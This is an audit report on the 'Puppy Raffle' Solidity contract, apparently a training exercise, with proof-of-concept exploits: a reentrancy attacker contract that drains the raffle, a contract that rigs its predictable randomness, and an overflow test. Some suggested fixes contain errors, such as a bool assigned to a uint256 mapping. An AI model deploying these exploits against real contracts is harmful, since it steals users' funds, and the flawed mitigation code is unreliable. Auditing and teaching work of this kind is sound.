Puppy Raffle Protocol Audit Report

Version 1.0

Cyfrin.io

February 2, 2024

Puppy Raffle Protocol Audit Report

Shurjeel Khan

1, 2, 2024

Prepared by: Cyfrin Lead Auditors:

- Shurjeel Khan

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Shurjeel team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
e30d199697bbc822b646d76533b66b7d529b8ef5
```

Scope

```
src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	1
Info	4
Gas Optimizations	2
Total	12

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The PuppyRaffle::refund() function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern

```
    /// @param playerIndex the index of the player to refund. You can
        find it externally by calling `getActivePlayerIndex`
    function refund(uint256 playerIndex) public {
        // @audit MEV
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

@>         payable(msg.sender).sendValue(entranceFee);
@>          players[playerIndex] = address(0);

        emit RaffleRefunded(playerAddress);
    }
```

In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated.

Impact: All fees paid by raffle entrants would be stolen by malicious participant.

Proof of Concept:

Code

Past this code in `PuppyRaffle.t.sol`

```
function testReentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        AttackPuppyRaffle attacker = new AttackPuppyRaffle(puppyRaffle)
            ;
        vm.deal(address(attacker), 1e18);
        uint256 startingAttackerBalance = address(attacker).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        console.log("Starting Attacker Balance: ",
            startingAttackerBalance);
        console.log("Starting contract Balance: ",
            startingContractBalance);

        attacker.attack();

        uint256 endingAttackerBalance = address(attacker).balance;
        uint256 endingContractBalance = address(puppyRaffle).balance;

        console.log("Ending Attacker Balance: ", endingAttackerBalance)
            ;
        console.log("Ending contract Balance: ", endingContractBalance)
            ;

        assertEq(endingAttackerBalance, startingAttackerBalance +
            startingContractBalance);
        assertEq(endingContractBalance, 0);
    }
```

And this contract ass well.

```
contract AttackPuppyRaffle {
    PuppyRaffle private raffleContract;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        raffleContract = _puppyRaffle;
        entranceFee = raffleContract.entranceFee();
    }

    function attack() external payable {
        address[] memory player = new address[](1);
        player[0] = address(this);
        raffleContract.enterRaffle{value: entranceFee}(player);
        attackerIndex = raffleContract.getActivePlayerIndex(address(
            this));
        raffleContract.refund(attackerIndex);
    }

    function _stealFunds() internal {
        if (address(raffleContract).balance >= entranceFee) {
            raffleContract.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealFunds();
    }

    receive() external payable {
        _stealFunds();
    }
}
```

Recommended Mitigation: To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether.

Here's how you can modify the refund function:

```
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can
    refund");
require(playerAddress != address(0), "PuppyRaffle: Player already
    refunded, or is not active");

// Update the state before sending Ether
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);

// Now it's safe to send Ether
(bool success, ) = payable(msg.sender).call{value: entranceFee}("");
require(success, "PuppyRaffle: Failed to refund");


}
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allow users to predict or influence the winner and influence or predict the winning puppy.

Description: Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT.

Impact: Any user can Influence the winner of the raffle, winning the money and minting the `rarest` puppy.

Proof of Concept:

Code

```
// SPDX-License-Identifier: No-License

pragma solidity 0.7.6;
```

```

interface IPuppyRaffle {
    function enterRaffle(address[] memory newPlayers) external payable;

    function getPlayersLength() external view returns (uint256);

    function selectWinner() external;
}

contract Attack {
    IPuppyRaffle raffle;

    constructor(address puppy) {
        raffle = IPuppyRaffle(puppy);
    }

    function attackRandomness() public {
        uint256 playersLength = raffle.getPlayersLength();

        uint256 winnerIndex;
        uint256 toAdd = playersLength;
        while (true) {
            winnerIndex =
                uint256(
                    keccak256(
                        abi.encodePacked(
                            address(this),
                            block.timestamp,
                            block.difficulty
                        )
                    )
                ) %
                toAdd;

            if (winnerIndex == playersLength) break;
            ++toAdd;
        }
        uint256 toLoop = toAdd - playersLength;

        address[] memory playersToAdd = new address[](toLoop);
        playersToAdd[0] = address(this);

        for (uint256 i = 1; i < toLoop; ++i) {
            playersToAdd[i] = address(i + 100);
        }

        uint256 valueToSend = 1e18 * toLoop;
        raffle.enterRaffle{value: valueToSend}(playersToAdd);
        raffle.selectWinner();
    }

    receive() external payable {}

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) public returns (bytes4) {
        return this.onERC721Received.selector;
    }
}
```

Recommended Mitigation: Use Chainlink's VRF to generate a random number to select the winner.

[H-3] Integer overflow of `PuppyRaffle::totalFee` loses fee.

Description: In Solidity versions prior to `0.8.0` integers subjected to integer overflow.

```
uint64 myVar = type(uint64).max
// 18446744073709551615
myVar = myVar + 1
// myVar will be 0.
```

Impact: Depending on the bits assigned to a variable, and depending on whether the value assigned goes above or below a certain threshold, the code could end up giving unexpected results. This unexpected OVERFLOW and UNDERFLOW will result in unexpected and wrong calculations, which in turn will result in wrong data being used and presented to the users.

Proof of Concept:

Code

```
function testTotalFeesOverflow() public {
        address[] memory player = new address[](4);
        player[0] = playerOne;
        player[1] = playerTwo;
        player[2] = playerThree;
        player[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(player);

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();

        console.log("starting total fee: ", startingTotalFees);

        uint256 numPlayer = 89;
        address[] memory players = new address[](numPlayer);
        for (uint256 i = 0; i < numPlayer; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * numPlayer}(players
            );

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);
    }
```

Recommended Mitigation: There are few recommendations:

1. First import SafeMath from openzeppelin.
2. Use newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Medium

[M-1] Looping through players to check the duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas cost for future entrants.

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` to check for duplicates. The longer the `PuppyRaffle::players` array is, the more checks new player have to make. This means the gas cost for the player who enter the raffle right after the raffle starts will be dramatically low then the player who enter the raffle later.

```
@> for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Impact: The gas cost for the raffle entrants will increase as more player enter the raffle.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one will enter, guaranteeing the attackers the winner.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas cost will be such:

- 1st 100 players: ~ 6252048 gas
- 2ns 100 players: ~ 18068138 gas

This is 3x more expensive for the 2nd 100 players.

PoC Place the following test into `PuppyRaffleTest.t.sol`.

```
function testCDenialOfService() public {
        // first 100 players
        vm.txGasPrice(1);
        uint256 numPlayer = 100;
        address[] memory players = new address[](numPlayer);
        for (uint256 i = 0; i < numPlayer; i++) {
            players[i] = address(i);
        }

        uint256 gasAtStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            players);
        uint256 gasAtEnd = gasleft();

        uint256 gasUsedFirst = (gasAtStart - gasAtEnd) * tx.gasprice;
        console.log("Total GAS cost of first 100 users: ", gasUsedFirst
            );

        // for the 2nd 100 player
        address[] memory playersTwo = new address[](numPlayer);
        for (uint256 i = 0; i < numPlayer; i++) {
            playersTwo[i] = address(i + numPlayer);
        }

        uint256 gasAtStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            playersTwo);
        uint256 gasAtEndSecond = gasleft();

        uint256 gasUsedSecond = (gasAtStartSecond - gasAtEndSecond) *
            tx.gasprice;
        console.log("Total GAS cost of second 100 users: ",
            gasUsedSecond);

        // assert to show how gas effects as number of players
            increases
        assert(gasUsedFirst < gasAtEndSecond);
    }
```

Recommended Mitigation:

Here are some of recommendations, any one of that can be used to mitigate this risk.

1. User a mapping to check duplicates. For this approach you to declare a variable uint256 raffleID, that way each raffle will have unique id. Add a mapping from player address to raffle id to keep of users for particular round.

```
+ uint256 public raffleID;
+ mapping (address => uint256) public usersToRaffleId;
.
.
function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "
            PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+           usersToRaffleId[newPlayers[i]] = true;
        }

        // Check for duplicates
+       for (uint256 i = 0; i < newPlayers.length; i++){
+           require(usersToRaffleId[i] != raffleID, "PuppyRaffle:
    Already a participant");

-         for (uint256 i = 0; i < players.length - 1; i++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
-                 require(players[i] != players[j], "PuppyRaffle:
    Duplicate player");
-             }
        }

        emit RaffleEnter(newPlayers);
    }
.
.
.

function selectWinner() external {
        //Existing code
+    raffleID = raffleID + 1;
    }
```

2. Allow duplicates participants, As technically you can't stop people participants more than once. As players can use new address to enter.

```
function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "
            PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
        }

        emit RaffleEnter(newPlayers);
    }
```

[M-2] Impossible to win raffle if the winner is a smart contract without a fallback function

Description: If a player submits a smart contract as a player, and if it doesn't implement the `receive()` or `fallback()` function, the call use to send the funds to the winner will fail to execute, compromising the functionality of the protocol.

Impact: High - Medium: The protocol won't be able to select a winner but players will be able to withdraw funds with the `refund()` function

Recommended Mitigation: Restrict access to the raffle to only EOAs (Externally Owned Accounts), by checking if the passed address in enterRaffle is a smart contract, if it is we revert the transaction.

We can easily implement this check into the function because of the Address library from OppenZeppelin.

I'll add this replace `enterRaffle()` with these lines of code:

```

function enterRaffle(address[] memory newPlayers) public payable {
   require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle:
      Must send enough to enter raffle");
   for (uint256 i = 0; i < newPlayers.length; i++) {
      require(Address.isContract(newPlayers[i]) == false, "The players
         need to be EOAs");
      players.push(newPlayers[i]);
   }

   // Check for duplicates
   for (uint256 i = 0; i < players.length - 1; i++) {
       for (uint256 j = i + 1; j < players.length; j++) {
           require(players[i] != players[j], "PuppyRaffle: Duplicate
               player");
       }
   }

   emit RaffleEnter(newPlayers);
}
```

Low

[L-1] Ambiguous index returned from PuppyRaffle::getActivePlayerIndex(address), leading to possible refund failures

Description: The `PuppyRaffle::getActivePlayerIndex(address)` returns `0` when the index of this player's address is not found, which is the same as if the player would have been found in the first element in the array. This can trick calling logic to think the address was found and then attempt to execute a `PuppyRaffle::refund(uint256)`.

Impact: Exorbitantly high gas fees charged to user who might inadvertently request a refund before players have entered the raffle. Inadvertent refunds given based in incorrect `playerIndex`.

Proof of Concept:

1. User enter the raffle, they are the first entrant.
2. `PuppyRaffle::getActivePlayerIndex` returns 0.
3. User thinks they are not entered correctly due to the function documentation.

Recommended Mitigation: consider refactoring the `PuppyRaffle::getActivePlayerIndex(address)` function to return something other than a uint that could be mistaken for a valid array index.

```
+   int256 public constant INDEX_NOT_FOUND = -1;
+   function getActivePlayerIndex(address player) external view returns (int256) {
-   function getActivePlayerIndex(address player) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return int256(i);
            }
        }
-         return 0;
+         return INDEX_NOT_FOUND;
    }

    function refund(uint256 playerIndex) public {
+         require(playerIndex < players.length, "PuppyRaffle: No player for index");
```

Gas

[G-1] Unchanged state variable should be declared Constant and Immutable

Reading from storage is much more expensive then reading from constant and immutable variable.

Instances: `PuppyRaffle::raffleDuration` should be `immutable` `PuppyRaffle::commonImageUri` should be `constant` `PuppyRaffle::rareImageUri` should be `constant` `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in loop should be cached

```
+        uint256  playerLength = players.length;
-        for (uint256 i = 0; i < newPlayers.length; i++) {
+        for (uint256 i = 0; i < playerLength; i++) {
            players.push(newPlayers[i]);
        }
```

Every time you call `player.length` ypu read from storage, as opposed to memory which is more gas efficient.

Informational

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.7.6;`, use `pragma solidity 0.8.18;`

- Found in src/PuppyRaffle.sol Line: 2

  ```
  pragma solidity ^0.7.6;
  ```

[I-2] Using an outdated version of Solidity is not recommended

Solc frequently releases new versions, using an old version prevents access to new security checks

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 62

```
            feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 153

```
            previousWinner = winner;
```

- Found in src/PuppyRaffle.sol Line: 171

```
            feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice.

It's best to keep code clean & follow CEI (Checks, Effects, Interactions):

```
-        (bool success,) = winner.call{value: prizePool}("");
-        require(success, "PuppyRaffle: Failed to send prize pool to winner");
        _safeMint(winner, tokenId);
+        (bool success,) = winner.call{value: prizePool}("");
+        require(success, "PuppyRaffle: Failed to send prize pool to winner");
```